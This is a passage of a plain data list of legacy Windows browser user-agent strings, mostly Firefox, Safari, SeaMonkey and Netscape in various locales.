Gecko/20070501 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.4) Gecko/20070511 K-Meleon/1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.5) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.0.3) Gecko/20080927 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.1) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-AR; rv:1.9b2) Gecko/2007121120 Firefox/3.0b2\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-CO) AppleWebKit/527+ (KHTML, like Gecko)  QtWeb Internet Browser/1.7 http://www.QtWeb.net\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7) Gecko/20040803 Firefox/0.9.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.3) Gecko/20040910\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.5) Gecko/20060127 Netscape/8.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8) Gecko/20051025 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8) Gecko/20060321 Firefox/2.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080831 Firefox/2.0.0.16 Flock/1.2.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.5) Gecko/20070716 SeaMonkey/1.1.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 MEGAUPLOAD 2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9) Gecko/2008051206 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9) Gecko/2008052906 Firefox/3.0 GTB6 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 FBSMTWB\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.7) Gecko/2009021910 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.7) Gecko/2009021910 Firefox/2.0.0.11;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1.7) Gecko/20100111 Thunderbird/3.0.1 ThunderBrowse/3.2.8.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; es; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; et; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; et; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; eu-ES; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; eu; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fa; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi-FI; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-BE) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3)  Arora/0.3 (Change: 287 c9dfb30)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-BE; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.0 Chrome/10.0.650.0 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.0.2) Gecko/20030208\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.6) Gecko/20040113\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.11) Gecko/20050728\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.3) Gecko/20040910\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.5) Gecko/20041206 Thunderbird/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050318 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.6) Gecko/20050319\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.7) Gecko/20050414\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.23) Gecko/20090825 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr-be; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.3.1) Gecko/20030425\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.6) Gecko/20040206 Firefox/0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7) Gecko/20040707 Firefox/0.9.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7) Gecko/20040803 Firefox/0.9.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7.2) Gecko/20040803\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7.3) Gecko/20040910\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.7.8) Gecko/20050511\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.14) Gecko/20071210 Thunderbird/1.5.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.12) Gecko/20080201\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 (.NET CLR 3.0.04506.30)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.16) Gecko/20080708 Thunderbird/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.17) Gecko/20080914 Thunderbird/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.21) Gecko/20090302 Thunderbird/2.0.0.21\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.3C\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 (.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 FirePHP/0.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 ( .NET CLR 3.5.30729; .NET4.0C)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.5;MEGAUPLOAD 1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.5;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.9) Gecko/2009040821 Firefox/2.0.0.11;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.14) Gecko/20100930 SeaMonkey/2.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 1.1.4322)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.13) Gecko/20101203 Mozilla/5.O(Android;Linux armv7l;rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.13) Gecko/20101203 iPhone\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.13) Gecko/20101220 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5\nMozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5\nMozilla/5.0 (Windows; U; Windows NT 5.1; he-IL; rv:1.7.10) Gecko/20050717 